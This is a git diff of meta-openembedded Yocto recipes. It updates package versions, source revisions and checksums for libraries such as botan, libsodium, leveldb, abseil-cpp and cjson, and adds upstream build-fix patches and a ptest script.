SRC_URI[wasm-bindgen-0.2.87.sha256sum] = "7706a72ab36d8cb1f80ffbf0e071533974a60d0a308d01a5d0375bf60499a342"
SRC_URI[wasm-bindgen-backend-0.2.87.sha256sum] = "5ef2b6d3c510e9625e5fe6f509ab07d66a760f0885d858736483c32ed7809abd"
@@ -523,10 +519,10 @@ SRC_URI[wasm-bindgen-macro-0.2.87.sha256sum] = "dee495e55982a3bd48105a7b947fd2a9
SRC_URI[wasm-bindgen-macro-support-0.2.87.sha256sum] = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b"
SRC_URI[wasm-bindgen-shared-0.2.87.sha256sum] = "ca6ad05a4870b2bf5fe995117d3728437bd27d7cd5f06f13c17443ef369775a1"
SRC_URI[which-4.3.0.sha256sum] = "1c831fbbee9e129a8cf93e7747a82da9d95ba8e16621cae60ec2cdc849bacb7b"
-SRC_URI[wild-2.1.0.sha256sum] = "05b116685a6be0c52f5a103334cbff26db643826c7b3735fc0a3ba9871310a74"
+SRC_URI[wild-2.2.0.sha256sum] = "10d01931a94d5a115a53f95292f51d316856b68a035618eb831bbba593a30b67"
SRC_URI[winapi-0.3.9.sha256sum] = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
SRC_URI[winapi-i686-pc-windows-gnu-0.4.0.sha256sum] = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-SRC_URI[winapi-util-0.1.5.sha256sum] = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178"
+SRC_URI[winapi-util-0.1.6.sha256sum] = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596"
SRC_URI[winapi-x86_64-pc-windows-gnu-0.4.0.sha256sum] = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
SRC_URI[windows-sys-0.45.0.sha256sum] = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"
SRC_URI[windows-sys-0.48.0.sha256sum] = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
diff --git a/meta-openembedded/meta-oe/recipes-core/uutils-coreutils/uutils-coreutils_0.0.21.bb b/meta-openembedded/meta-oe/recipes-core/uutils-coreutils/uutils-coreutils_0.0.23.bb
index a070fe780b..f0bb4d2674 100644
--- a/meta-openembedded/meta-oe/recipes-core/uutils-coreutils/uutils-coreutils_0.0.21.bb
+++ b/meta-openembedded/meta-oe/recipes-core/uutils-coreutils/uutils-coreutils_0.0.23.bb
@@ -11,7 +11,7 @@ SRC_URI += "git://github.com/uutils/coreutils.git;protocol=https;branch=main"
# so src/uucore/src/lib/features.rs disables utmpx when targetting musl.
COMPATIBLE_HOST:libc-musl = "null"
-SRCREV = "7c7a6083d90af031ed14b585a9c60fa3b79422a0"
+SRCREV = "a3af2230a64d3b60832ce9944df5388a5ba9128a"
S = "${WORKDIR}/git"
require ${BPN}-crates.inc
diff --git a/meta-openembedded/meta-oe/recipes-crypto/botan/botan_2.19.3.bb b/meta-openembedded/meta-oe/recipes-crypto/botan/botan_3.2.0.bb
index 8d9d423ce7..5eff2d383e 100644
--- a/meta-openembedded/meta-oe/recipes-crypto/botan/botan_2.19.3.bb
+++ b/meta-openembedded/meta-oe/recipes-crypto/botan/botan_3.2.0.bb
@@ -1,11 +1,11 @@
SUMMARY = "Crypto and TLS for C++11"
HOMEPAGE = "https://botan.randombit.net"
LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://license.txt;md5=f4ce98476c07c34e1793daa036960fad"
+LIC_FILES_CHKSUM = "file://license.txt;md5=f5254d3abe90ec5bb82c5694ff751546"
SECTION = "libs"
SRC_URI = "https://botan.randombit.net/releases/Botan-${PV}.tar.xz"
-SRC_URI[sha256sum] = "dae047f399c5a47f087db5d3d9d9e8f11ae4985d14c928d71da1aff801802d55"
+SRC_URI[sha256sum] = "049c847835fcf6ef3a9e206b33de05dd38999c325e247482772a5598d9e5ece3"
S = "${WORKDIR}/Botan-${PV}"
@@ -40,7 +40,7 @@ do_compile() {
}
do_install() {
oe_runmake install
- sed -i -e "s|${D}||g" ${D}${libdir}/pkgconfig/botan-2.pc
+ sed -i -e "s|${D}||g" ${D}${libdir}/pkgconfig/botan-3.pc
}
PACKAGES += "${PN}-python3"
diff --git a/meta-openembedded/meta-oe/recipes-crypto/libsodium/libsodium/0001-fix-aarch64-Move-target-pragma-after-arm_neon.h-incl.patch b/meta-openembedded/meta-oe/recipes-crypto/libsodium/libsodium/0001-fix-aarch64-Move-target-pragma-after-arm_neon.h-incl.patch
new file mode 100644
index 0000000000..7a6fae7997
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-crypto/libsodium/libsodium/0001-fix-aarch64-Move-target-pragma-after-arm_neon.h-incl.patch
@@ -0,0 +1,49 @@
+From d3253310f7c0fc0f1aad6864e3b57958ea1bb9c5 Mon Sep 17 00:00:00 2001
+From: tux3 <barrdetwix@gmail.com>
+Date: Mon, 16 Oct 2023 16:42:04 +0200
+Subject: [PATCH] fix(aarch64): Move target #pragma after arm_neon.h include
+
+Fix per https://github.com/android/ndk/issues/1945
+
+If the pragma is done before the header include,
+in NDK 26 the attribute may apply to the functions in arm_neon.h
+
+Upstream-Status: Backport [https://github.com/jedisct1/libsodium/pull/1321]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ .../aes256gcm/armcrypto/aead_aes256gcm_armcrypto.c | 12 ++++++------
+ 1 file changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/src/libsodium/crypto_aead/aes256gcm/armcrypto/aead_aes256gcm_armcrypto.c b/src/libsodium/crypto_aead/aes256gcm/armcrypto/aead_aes256gcm_armcrypto.c
+index 0a5a128..aa76f5c 100644
+--- a/src/libsodium/crypto_aead/aes256gcm/armcrypto/aead_aes256gcm_armcrypto.c
++++ b/src/libsodium/crypto_aead/aes256gcm/armcrypto/aead_aes256gcm_armcrypto.c
+@@ -19,12 +19,6 @@
+ #define __vectorcall
+ #endif
+
+-#ifdef __clang__
+-#pragma clang attribute push(__attribute__((target("neon,crypto,aes"))), apply_to = function)
+-#elif defined(__GNUC__)
+-#pragma GCC target("+simd+crypto")
+-#endif
+-
+ #ifndef __ARM_FEATURE_CRYPTO
+ #define __ARM_FEATURE_CRYPTO 1
+ #endif
+@@ -34,6 +28,12 @@
+
+ #include <arm_neon.h>
+
++#ifdef __clang__
++#pragma clang attribute push(__attribute__((target("neon,crypto,aes"))), apply_to = function)
++#elif defined(__GNUC__)
++#pragma GCC target("+simd+crypto")
++#endif
++
+ #define ABYTES crypto_aead_aes256gcm_ABYTES
+ #define NPUBBYTES crypto_aead_aes256gcm_NPUBBYTES
+ #define KEYBYTES crypto_aead_aes256gcm_KEYBYTES
+--
+2.42.1
+
diff --git a/meta-openembedded/meta-oe/recipes-crypto/libsodium/libsodium_1.0.18.bb b/meta-openembedded/meta-oe/recipes-crypto/libsodium/libsodium_1.0.18.bb
deleted file mode 100644
index 53b3ddc26f..0000000000
--- a/meta-openembedded/meta-oe/recipes-crypto/libsodium/libsodium_1.0.18.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-SUMMARY = "The Sodium crypto library"
-HOMEPAGE = "http://libsodium.org/"
-BUGTRACKER = "https://github.com/jedisct1/libsodium/issues"
-LICENSE = "ISC"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=47203c753972e855179dfffe15188bee"
-
-SRC_URI = "https://download.libsodium.org/libsodium/releases/${BPN}-${PV}.tar.gz"
-SRC_URI[md5sum] = "3ca9ebc13b6b4735acae0a6a4c4f9a95"
-SRC_URI[sha256sum] = "6f504490b342a4f8a4c4a02fc9b866cbef8622d5df4e5452b46be121e46636c1"
-
-inherit autotools
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-oe/recipes-crypto/libsodium/libsodium_1.0.19.bb b/meta-openembedded/meta-oe/recipes-crypto/libsodium/libsodium_1.0.19.bb
new file mode 100644
index 0000000000..2e678f3f0f
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-crypto/libsodium/libsodium_1.0.19.bb
@@ -0,0 +1,14 @@
+SUMMARY = "The Sodium crypto library"
+HOMEPAGE = "http://libsodium.org/"
+BUGTRACKER = "https://github.com/jedisct1/libsodium/issues"
+LICENSE = "ISC"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=49ce3b426e6a002e23a1387248e6dbe9"
+
+SRC_URI = "https://download.libsodium.org/libsodium/releases/${BPN}-${PV}.tar.gz \
+ file://0001-fix-aarch64-Move-target-pragma-after-arm_neon.h-incl.patch"
+SRC_URI[sha256sum] = "018d79fe0a045cca07331d37bd0cb57b2e838c51bc48fd837a1472e50068bbea"
+
+inherit autotools
+
+S = "${WORKDIR}/libsodium-stable"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-oe/recipes-dbs/influxdb/influxdb_1.8.10.bb b/meta-openembedded/meta-oe/recipes-dbs/influxdb/influxdb_1.8.10.bb
index 50995c09b6..7f8110e4c1 100644
--- a/meta-openembedded/meta-oe/recipes-dbs/influxdb/influxdb_1.8.10.bb
+++ b/meta-openembedded/meta-oe/recipes-dbs/influxdb/influxdb_1.8.10.bb
@@ -58,11 +58,15 @@ do_install:append() {
if [ "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}" ] ; then
install -d ${D}${systemd_unitdir}/system
install -m 0644 ${S}/src/${GO_IMPORT}/scripts/influxdb.service ${D}${systemd_system_unitdir}/influxdb.service
+ install -d ${D}${libdir}/influxdb/scripts
+ install -m 0755 ${S}/src/${GO_IMPORT}/scripts/influxd-systemd-start.sh ${D}${libdir}/influxdb/scripts/influxd-systemd-start.sh
fi
# TODO chown
}
+FILES:${PN} += "${libdir}/influxdb/scripts/influxd-systemd-start.sh"
+
INITSCRIPT_PACKAGES = "${PN}"
INITSCRIPT_NAME = "influxdb"
INITSCRIPT_PARAMS = "defaults"
diff --git a/meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb/0001-CMakeLists.txt-fix-googletest-related-options.patch b/meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb/0001-CMakeLists.txt-fix-googletest-related-options.patch
new file mode 100644
index 0000000000..b0bfb8bf16
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb/0001-CMakeLists.txt-fix-googletest-related-options.patch
@@ -0,0 +1,55 @@
+From 77da477840f89da7ced29da315de77571e8f190e Mon Sep 17 00:00:00 2001
+From: Martin Jansa <martin.jansa@gmail.com>
+Date: Fri, 20 Oct 2023 22:57:48 +0200
+Subject: [PATCH] CMakeLists.txt: fix googletest related options
+
+* https://cmake.org/cmake/help/book/mastering-cmake/chapter/Writing%20CMakeLists%20Files.html
+ says that CMake options are case-sensitive and I don't see lower-case version in
+ currently used googletest submodules and gtest is indeed installed with leveldb
+
+* install_gmock option I don't see at all, so I've kept it as is, INSTALL_GTEST, BUILD_GMOCK
+ do exist as upper-case
+
+$ grep -Ri install_.*mock .
+./CMakeLists.txt: set(install_gmock OFF)
+./third_party/googletest/googlemock/CMakeLists.txt:install_project(gmock gmock_main)
+$ grep -Ri build_gmock .
+./CMakeLists.txt: set(BUILD_GMOCK ON)
+./third_party/googletest/googletest/README.md:cmake .. -DBUILD_GMOCK=OFF
+./third_party/googletest/CMakeLists.txt:option(BUILD_GMOCK "Builds the googlemock subproject" ON)
+./third_party/googletest/CMakeLists.txt:if(BUILD_GMOCK)
+$ grep -Ri install_gtest .
+./CMakeLists.txt: set(INSTALL_GTEST OFF)
+./third_party/googletest/googletest/cmake/internal_utils.cmake: if(INSTALL_GTEST)
+./third_party/googletest/googletest/CMakeLists.txt:if (INSTALL_GTEST)
+./third_party/googletest/CMakeLists.txt:option(INSTALL_GTEST "Enable installation of googletest. (Projects embedding googletest may want to turn this OFF.)" ON)
+
+* also use CACHE and FORCE as sugested in:
+ https://cmake.org/cmake/help/latest/command/set.html
+ https://stackoverflow.com/questions/20239334/cmake-set-subdirectory-options
+ for the value to correctly propagate into third_party/googletest subdirectory
+
+Signed-off-by: Martin Jansa <martin.jansa@gmail.com>
+---
+Upstream-Status: Submitted [https://github.com/google/leveldb/pull/1152]
+
+ CMakeLists.txt | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index fda9e01..f8a2629 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -295,9 +295,9 @@ if(LEVELDB_BUILD_TESTS)
+
+ # Prevent overriding the parent project's compiler/linker settings on Windows.
+ set(gtest_force_shared_crt ON CACHE BOOL "" FORCE)
+- set(install_gtest OFF)
+- set(install_gmock OFF)
+- set(build_gmock ON)
++ set(INSTALL_GTEST OFF CACHE BOOL "" FORCE)
++ set(install_gmock OFF CACHE BOOL "" FORCE)
++ set(BUILD_GMOCK ON CACHE BOOL "" FORCE)
+
+ # This project is tested using GoogleTest.
+ add_subdirectory("third_party/googletest")
diff --git a/meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb/0001-Fix-printing-64-bit-integer-types.patch b/meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb/0001-Fix-printing-64-bit-integer-types.patch
new file mode 100644
index 0000000000..b9f45e773d
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb/0001-Fix-printing-64-bit-integer-types.patch
@@ -0,0 +1,43 @@
+From 1ccdb7513a7a0f24b8ce3b6766e52e690874bc64 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 17 Oct 2023 19:08:12 -0700
+Subject: [PATCH] Fix printing 64-bit integer types
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ db/db_impl.cc | 5 +++--
+ db/version_edit.h | 1 +
+ 2 files changed, 4 insertions(+), 2 deletions(-)
+
+--- a/db/db_impl.cc
++++ b/db/db_impl.cc
+@@ -5,6 +5,7 @@
+ #include "db/db_impl.h"
+
+ #include <algorithm>
++#include <cinttypes>
+ #include <atomic>
+ #include <cstdint>
+ #include <cstdio>
+@@ -520,8 +521,8 @@ Status DBImpl::WriteLevel0Table(MemTable
+ mutex_.Lock();
+ }
+
+- Log(options_.info_log, "Level-0 table #%llu: %lld bytes %s",
+- (unsigned long long)meta.number, (unsigned long long)meta.file_size,
++ Log(options_.info_log, "Level-0 table #%" PRIu64 " : %" PRIu64 " bytes %s",
++ meta.number, meta.file_size,
+ s.ToString().c_str());
+ delete iter;
+ pending_outputs_.erase(meta.number);
+--- a/db/version_edit.h
++++ b/db/version_edit.h
+@@ -5,6 +5,7 @@
+ #ifndef STORAGE_LEVELDB_DB_VERSION_EDIT_H_
+ #define STORAGE_LEVELDB_DB_VERSION_EDIT_H_
+
++#include <cstdint>
+ #include <set>
+ #include <utility>
+ #include <vector>
diff --git a/meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb_1.22.bb b/meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb_1.23.bb
index 6afc45ab7e..60b486df78 100644
--- a/meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb_1.22.bb
+++ b/meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb_1.23.bb
@@ -4,14 +4,16 @@ HOMEPAGE = "https://github.com/google/leveldb"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=92d1b128950b11ba8495b64938fc164d"
-SRC_URI = "git://github.com/google/${BPN}.git;branch=main;protocol=https \
- file://run-ptest"
+SRC_URI = "gitsm://github.com/google/${BPN}.git;branch=main;protocol=https \
+ file://0001-CMakeLists.txt-fix-googletest-related-options.patch \
+ file://0001-Fix-printing-64-bit-integer-types.patch \
+ file://run-ptest \
+"
-SRCREV = "78b39d68c15ba020c0d60a3906fb66dbf1697595"
+SRCREV = "068d5ee1a3ac40dabd00d211d5013af44be55bea"
S = "${WORKDIR}/git"
inherit cmake ptest
-
PACKAGECONFIG ??= ""
PACKAGECONFIG[benchmarks] = "-DLEVELDB_BUILD_BENCHMARKS=ON,-DLEVELDB_BUILD_BENCHMARKS=OFF,sqlite"
PACKAGECONFIG[snappy] = ",,snappy"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/abseil-cpp/abseil-cpp/0004-Avoid-using-both-Win32Waiter-and-PthreadWaiter-on-Mi.patch b/meta-openembedded/meta-oe/recipes-devtools/abseil-cpp/abseil-cpp/0004-Avoid-using-both-Win32Waiter-and-PthreadWaiter-on-Mi.patch
new file mode 100644
index 0000000000..db559bb161
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-devtools/abseil-cpp/abseil-cpp/0004-Avoid-using-both-Win32Waiter-and-PthreadWaiter-on-Mi.patch
@@ -0,0 +1,62 @@
+From cb7665f39e23e95e2466390c60ee5a410780a3ed Mon Sep 17 00:00:00 2001
+From: Derek Mauro <dmauro@google.com>
+Date: Wed, 8 Nov 2023 09:55:31 -0800
+Subject: [PATCH] Avoid using both Win32Waiter and PthreadWaiter on MinGW, and
+ use StdcppWaiter instead.
+
+There are various flavors of MinGW, some of which support pthread,
+and some of which support Win32. Instead of figuring out which
+platform is being used, just use the generic implementation.
+
+PiperOrigin-RevId: 580565507
+Change-Id: Ia85fd7496f1e6ebdeadb95202f0039e844826118
+Upstream-Status: Backport
+---
+ absl/synchronization/internal/pthread_waiter.h | 4 ++--
+ absl/synchronization/internal/win32_waiter.h | 6 ++++--
+ 2 files changed, 6 insertions(+), 4 deletions(-)
+
+diff --git a/absl/synchronization/internal/pthread_waiter.h b/absl/synchronization/internal/pthread_waiter.h
+index 206aefa4..23db76ad 100644
+--- a/absl/synchronization/internal/pthread_waiter.h
++++ b/absl/synchronization/internal/pthread_waiter.h
+@@ -16,7 +16,7 @@
+ #ifndef ABSL_SYNCHRONIZATION_INTERNAL_PTHREAD_WAITER_H_
+ #define ABSL_SYNCHRONIZATION_INTERNAL_PTHREAD_WAITER_H_
+
+-#ifndef _WIN32
++#if !defined(_WIN32) && !defined(__MINGW32__)
+ #include <pthread.h>
+
+ #include "absl/base/config.h"
+@@ -55,6 +55,6 @@ class PthreadWaiter : public WaiterCrtp<PthreadWaiter> {
+ ABSL_NAMESPACE_END
+ } // namespace absl
+
+-#endif // ndef _WIN32
++#endif // !defined(_WIN32) && !defined(__MINGW32__)
+
+ #endif // ABSL_SYNCHRONIZATION_INTERNAL_PTHREAD_WAITER_H_
+diff --git a/absl/synchronization/internal/win32_waiter.h b/absl/synchronization/internal/win32_waiter.h
+index 87eb617c..fdab264e 100644
+--- a/absl/synchronization/internal/win32_waiter.h
++++ b/absl/synchronization/internal/win32_waiter.h
+@@ -20,7 +20,8 @@
+ #include <sdkddkver.h>
+ #endif
+
+-#if defined(_WIN32) && _WIN32_WINNT >= _WIN32_WINNT_VISTA
++#if defined(_WIN32) && !defined(__MINGW32__) && \
++ _WIN32_WINNT >= _WIN32_WINNT_VISTA
+
+ #include "absl/base/config.h"
+ #include "absl/synchronization/internal/kernel_timeout.h"
+@@ -65,6 +66,7 @@ class Win32Waiter : public WaiterCrtp<Win32Waiter> {
+ ABSL_NAMESPACE_END
+ } // namespace absl
+
+-#endif // defined(_WIN32) && _WIN32_WINNT >= _WIN32_WINNT_VISTA
++#endif // defined(_WIN32) && !defined(__MINGW32__) &&
++ // _WIN32_WINNT >= _WIN32_WINNT_VISTA
+
+ #endif // ABSL_SYNCHRONIZATION_INTERNAL_WIN32_WAITER_H_
diff --git a/meta-openembedded/meta-oe/recipes-devtools/abseil-cpp/abseil-cpp_git.bb b/meta-openembedded/meta-oe/recipes-devtools/abseil-cpp/abseil-cpp_git.bb
index f847ebf156..65ecab7d08 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/abseil-cpp/abseil-cpp_git.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/abseil-cpp/abseil-cpp_git.bb
@@ -7,14 +7,15 @@ SECTION = "libs"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=df52c6edb7adc22e533b2bacc3bd3915"
-PV = "20230802.0"
-SRCREV = "29bf8085f3bf17b84d30e34b3d7ff8248fda404e"
+PV = "20230802.1"
+SRCREV = "fb3621f4f897824c0dbe0615fa94543df6192f30"
BRANCH = "lts_2023_08_02"
SRC_URI = "git://github.com/abseil/abseil-cpp;branch=${BRANCH};protocol=https \
file://0001-absl-always-use-asm-sgidefs.h.patch \
file://0002-Remove-maes-option-from-cross-compilation.patch \
file://abseil-ppc-fixes.patch \
file://0003-Remove-neon-option-from-cross-compilation.patch \
+ file://0004-Avoid-using-both-Win32Waiter-and-PthreadWaiter-on-Mi.patch \
"
S = "${WORKDIR}/git"
@@ -32,4 +33,6 @@ EXTRA_OECMAKE = "-DBUILD_SHARED_LIBS=ON \
BBCLASSEXTEND = "native nativesdk"
+SYSROOT_DIRS:append:class-nativesdk:mingw32 = " ${bindir}"
+
FILES:${PN}-dev += "${includedir} ${libdir}/cmake ${libdir}/pkgconfig"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/android-tools/android-tools_5.1.1.r37.bb b/meta-openembedded/meta-oe/recipes-devtools/android-tools/android-tools_5.1.1.r37.bb
index 9278146702..1c66ea4997 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/android-tools/android-tools_5.1.1.r37.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/android-tools/android-tools_5.1.1.r37.bb
@@ -92,7 +92,7 @@ do_compile() {
# Setting both variables below causing our makefiles to not work with
# implicit make rules
- CFLAGS="-ffile-prefix-map=${S}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
+ CFLAGS="-ffile-prefix-map=${S}=${TARGET_DBGSRC_DIR}"
unset CPPFLAGS
export SRCDIR=${S}
diff --git a/meta-openembedded/meta-oe/recipes-devtools/capnproto/capnproto_0.10.4.bb b/meta-openembedded/meta-oe/recipes-devtools/capnproto/capnproto_1.0.1.bb
index bbdc3b5970..99a76d454a 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/capnproto/capnproto_0.10.4.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/capnproto/capnproto_1.0.1.bb
@@ -5,8 +5,8 @@ SECTION = "console/tools"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://../LICENSE;md5=a05663ae6cca874123bf667a60dca8c9"
-SRC_URI = "git://github.com/sandstorm-io/capnproto.git;branch=release-0.10.4;protocol=https"
-SRCREV = "a91ec65323c2577732224d0cf6f5bf1e79d3a724"
+SRC_URI = "git://github.com/sandstorm-io/capnproto.git;branch=release-${PV};protocol=https"
+SRCREV = "c7f810a76ca88ff28613fa165927e0269255aab0"
S = "${WORKDIR}/git/c++"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/cjson/cjson/run-ptest b/meta-openembedded/meta-oe/recipes-devtools/cjson/cjson/run-ptest
new file mode 100644
index 0000000000..f061e94665
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-devtools/cjson/cjson/run-ptest
@@ -0,0 +1,8 @@
+#!/bin/sh
+
+# exclude json_patch_tests
+if ctest -E 'json_patch_tests' ; then
+ echo "PASS: cjson"
+else
+ echo "FAIL: cjson"
+fi
diff --git a/meta-openembedded/meta-oe/recipes-devtools/cjson/cjson_1.7.15.bb b/meta-openembedded/meta-oe/recipes-devtools/cjson/cjson_1.7.15.bb
deleted file mode 100644
index 8bf7981ab0..0000000000
--- a/meta-openembedded/meta-oe/recipes-devtools/cjson/cjson_1.7.15.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-DESCRIPTION = "Ultralightweight JSON parser in ANSI C"
-HOMEPAGE = "https://github.com/DaveGamble/cJSON"
-SECTION = "libs"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=218947f77e8cb8e2fa02918dc41c50d0"
-
-SRC_URI = "git://github.com/DaveGamble/cJSON.git;branch=master;protocol=https"
-SRCREV = "d348621ca93571343a56862df7de4ff3bc9b5667"
-
-S = "${WORKDIR}/git"
-
-inherit cmake pkgconfig
-
-EXTRA_OECMAKE += "\
- -DENABLE_CJSON_UTILS=On \
- -DENABLE_CUSTOM_COMPILER_FLAGS=OFF \
- -DBUILD_SHARED_AND_STATIC_LIBS=On \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/cjson/cjson_1.7.16.bb b/meta-openembedded/meta-oe/recipes-devtools/cjson/cjson_1.7.16.bb
new file mode 100644
index 0000000000..f8e0bbff0b
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-devtools/cjson/cjson_1.7.16.bb
@@ -0,0 +1,40 @@
+DESCRIPTION = "Ultralightweight JSON parser in ANSI C"
+HOMEPAGE = "https://github.com/DaveGamble/cJSON"
+SECTION = "libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=218947f77e8cb8e2fa02918dc41c50d0"
+
+SRC_URI = "git://github.com/DaveGamble/cJSON.git;branch=master;protocol=https \
+ file://run-ptest \
+ "
+SRCREV = "cb8693b058ba302f4829ec6d03f609ac6f848546"
+
+S = "${WORKDIR}/git"
+
+inherit cmake pkgconfig ptest
+
+RDEPENDS:${PN}-ptest += "cmake"
+
+do_install_ptest() {
+ # create directories
+ install -d ${D}${PTEST_PATH} ${D}${PTEST_PATH}/tests ${D}${PTEST_PATH}/fuzzing
+ install -d ${D}${PTEST_PATH}/tests/inputs ${D}${PTEST_PATH}/tests/json-patch-tests
+ # CTestTestfiles.cmake contain fully defined path generated by cmake.
+ # Change the fully defined path to ptest path on the target
+ sed s#${B}#${PTEST_PATH}# ${B}/CTestTestfile.cmake > ${D}${PTEST_PATH}/CTestTestfile.cmake
+ sed s#${B}#${PTEST_PATH}# ${B}/tests/CTestTestfile.cmake > ${D}${PTEST_PATH}/tests/CTestTestfile.cmake
+ sed s#${B}#${PTEST_PATH}# ${B}/fuzzing/CTestTestfile.cmake > ${D}${PTEST_PATH}/fuzzing/CTestTestfile.cmake
+ # install test artifacts
+ install ${B}/cJSON_test ${D}${PTEST_PATH}
+ install ${B}/tests/cjson_add ${B}/tests/*_tests ${B}/tests/parse_* ${B}/tests/print_* ${B}/tests/readme_examples ${D}${PTEST_PATH}/tests/
+ install ${B}/tests/inputs/* ${D}${PTEST_PATH}/tests/inputs
+ install ${B}/fuzzing/fuzz_main ${D}${PTEST_PATH}/fuzzing
+}
+
+EXTRA_OECMAKE += "\
+ -DENABLE_CJSON_UTILS=On \
+ -DENABLE_CUSTOM_COMPILER_FLAGS=OFF \
+ -DBUILD_SHARED_AND_STATIC_LIBS=On \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/cloc/cloc_1.94.bb b/meta-openembedded/meta-oe/recipes-devtools/cloc/cloc_1.98.bb
index 37a21cc3a6..ea5f00669f 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/cloc/cloc_1.94.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/cloc/cloc_1.98.bb
@@ -5,7 +5,7 @@ LICENSE="GPL-2.0-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=2c1c00f9d3ed9e24fa69b932b7e7aff2"
SRC_URI = "https://github.com/AlDanial/cloc/releases/download/v${PV}/${BP}.tar.gz"
-SRC_URI[sha256sum] = "08212290c4e9b21c7bb1abc0a9b4a365ce1c5eb0d8f3ebb74d50b29559a71a9c"
+SRC_URI[sha256sum] = "5fe0b159eb75718df7308a4f61470eaddf82170733929999e37a3fbb4651cf8a"
UPSTREAM_CHECK_URI = "https://github.com/AlDanial/${BPN}/releases"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/cpuid/cpuid_20211129.bb b/meta-openembedded/meta-oe/recipes-devtools/cpuid/cpuid_20230614.bb
index 3218ba652a..a88042ba65 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/cpuid/cpuid_20211129.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/cpuid/cpuid_20230614.bb
@@ -9,7 +9,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263"
SRC_URI = "http://www.etallen.com/${BPN}/${BP}.src.tar.gz \
"
-SRC_URI[sha256sum] = "230772bb88c44732e68a42d2eff43bcff46d893bf4ea6e04151d4cb6e8c88e2f"
+SRC_URI[sha256sum] = "b1c83045efc26076307751e0662d580277f5f9bf89cf027231a7812003c3a4e8"
COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/ctags/ctags_6.0.20230917.0.bb b/meta-openembedded/meta-oe/recipes-devtools/ctags/ctags_6.0.20231119.0.bb
index 02afbfbbba..b53753c12d 100644
--- a/meta-openembedded/meta-oe/recipes-devtools/ctags/ctags_6.0.20230917.0.bb
+++ b/meta-openembedded/meta-oe/recipes-devtools/ctags/ctags_6.0.20231119.0.bb
@@ -14,7 +14,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
inherit autotools-brokensep pkgconfig manpages
-SRCREV = "481ad1b36daca1d40060dd32b0d825cddc97e9cb"
+SRCREV = "f727e74001ec5081818669635fc2bae377be6eda"
SRC_URI = "git://github.com/universal-ctags/ctags;branch=master;protocol=https"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-oe/recipes-devtools/dnf-plugin-tui/dnf-plugin-tui_git.bb b/meta-openembedded/meta-oe/recipes-devtools/dnf-plugin-tui/dnf-plugin-tui_git.bb
index 94023922a2..8db456b99c 100644
